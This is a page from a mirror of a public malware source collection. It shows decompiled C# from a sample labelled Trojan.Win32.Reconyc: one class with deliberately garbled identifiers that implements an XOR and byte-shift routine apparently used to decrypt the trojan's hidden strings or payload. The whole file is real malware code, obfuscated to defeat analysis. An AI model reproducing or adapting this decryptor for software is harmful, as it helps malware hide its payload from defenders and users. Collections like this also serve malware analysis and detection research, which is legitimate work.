mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
57 lines
3.3 KiB
C#
57 lines
3.3 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: ªþÊP5we0CµÖëðNfǵE
|
|||
|
// Assembly: Ð5Qæªo9E, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: ADB6FA32-9FFF-4137-9449-DFA399EAD1A2
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.fpuc-333fe4b596e4becc15486e4c0e2f12bc1d33b9ad394291f35656a5710e82ead7.exe
|
|||
|
|
|||
|
using System;
|
|||
|
using System.Text;
|
|||
|
|
|||
|
public class ªþÊP5we0CµÖëðNfǵE
|
|||
|
{
|
|||
|
private string æqº9ZݺæÇwB2Á1Ráfµªí7;
|
|||
|
|
|||
|
public string ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4
|
|||
|
{
|
|||
|
get => this.æqº9ZݺæÇwB2Á1Ráfµªí7;
|
|||
|
set => this.æqº9ZݺæÇwB2Á1Ráfµªí7 = value;
|
|||
|
}
|
|||
|
|
|||
|
public ªþÊP5we0CµÖëðNfǵE(string ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4)
|
|||
|
{
|
|||
|
this.æqº9ZݺæÇwB2Á1Ráfµªí7 = "";
|
|||
|
this.ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4 = ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4;
|
|||
|
}
|
|||
|
|
|||
|
public string ën8LµÍÓºPkú90ãϪCrª5Æ6µGûrmBÕº(string QôªË1dÕ1LúºzDªû6xÅ7Yµ) => Encoding.Default.GetString(this.ën8LµÍÓºPkú90ãϪCrª5Æ6µGûrmBÕº(Encoding.Default.GetBytes(QôªË1dÕ1LúºzDªû6xÅ7Yµ)));
|
|||
|
|
|||
|
public byte[] ën8LµÍÓºPkú90ãϪCrª5Æ6µGûrmBÕº(byte[] QôªË1dÕ1LúºzDªû6xÅ7Yµ)
|
|||
|
{
|
|||
|
QôªË1dÕ1LúºzDªû6xÅ7Yµ = this.gÕµåÒóYzº1e(QôªË1dÕ1LúºzDªû6xÅ7Yµ, Encoding.Default.GetBytes(this.ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4));
|
|||
|
byte[] numArray = new byte[QôªË1dÕ1LúºzDªû6xÅ7Yµ.Length - 2 + 1];
|
|||
|
for (int index = QôªË1dÕ1LúºzDªû6xÅ7Yµ.Length - 1; index >= 1; index += -1)
|
|||
|
numArray[index - 1] = this.öÅNo4ª3äºCdÙÈL9iwÜçD6ºª(QôªË1dÕ1LúºzDªû6xÅ7Yµ[index], (short) -QôªË1dÕ1LúºzDªû6xÅ7Yµ[index - 1]);
|
|||
|
return numArray;
|
|||
|
}
|
|||
|
|
|||
|
private byte öÅNo4ª3äºCdÙÈL9iwÜçD6ºª(byte ôÒRy4ªN5cκåÔµ1fƒEQø, short NªÁø1gÌ7fHìµ5øJκyiµüªðP)
|
|||
|
{
|
|||
|
while (NªÁø1gÌ7fHìµ5øJκyiµüªðP < (short) 0)
|
|||
|
NªÁø1gÌ7fHìµ5øJκyiµüªðP += (short) 256;
|
|||
|
return Convert.ToByte((int) (short) ((int) ôÒRy4ªN5cκåÔµ1fƒEQø + (int) NªÁø1gÌ7fHìµ5øJκyiµüªðP) % 256);
|
|||
|
}
|
|||
|
|
|||
|
private byte[] gÕµåÒóYzº1e(
|
|||
|
byte[] QôªË1dÕ1LúºzDªû6xÅ7Yµ,
|
|||
|
byte[] ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4)
|
|||
|
{
|
|||
|
if (ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length != 0)
|
|||
|
{
|
|||
|
int num = QôªË1dÕ1LúºzDªû6xÅ7Yµ.Length - 1;
|
|||
|
for (int index = 0; index <= num; ++index)
|
|||
|
QôªË1dÕ1LúºzDªû6xÅ7Yµ[index] = (byte) ((int) QôªË1dÕ1LúºzDªû6xÅ7Yµ[index] ^ (int) this.öÅNo4ª3äºCdÙÈL9iwÜçD6ºª(ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4[index % ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length], (short) ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4[(int) ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4[index % ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length] % ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length]) ^ (int) ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4[(index + index % 7) % ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length % ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length]);
|
|||
|
}
|
|||
|
return QôªË1dÕ1LúºzDªû6xÅ7Yµ;
|
|||
|
}
|
|||
|
}
|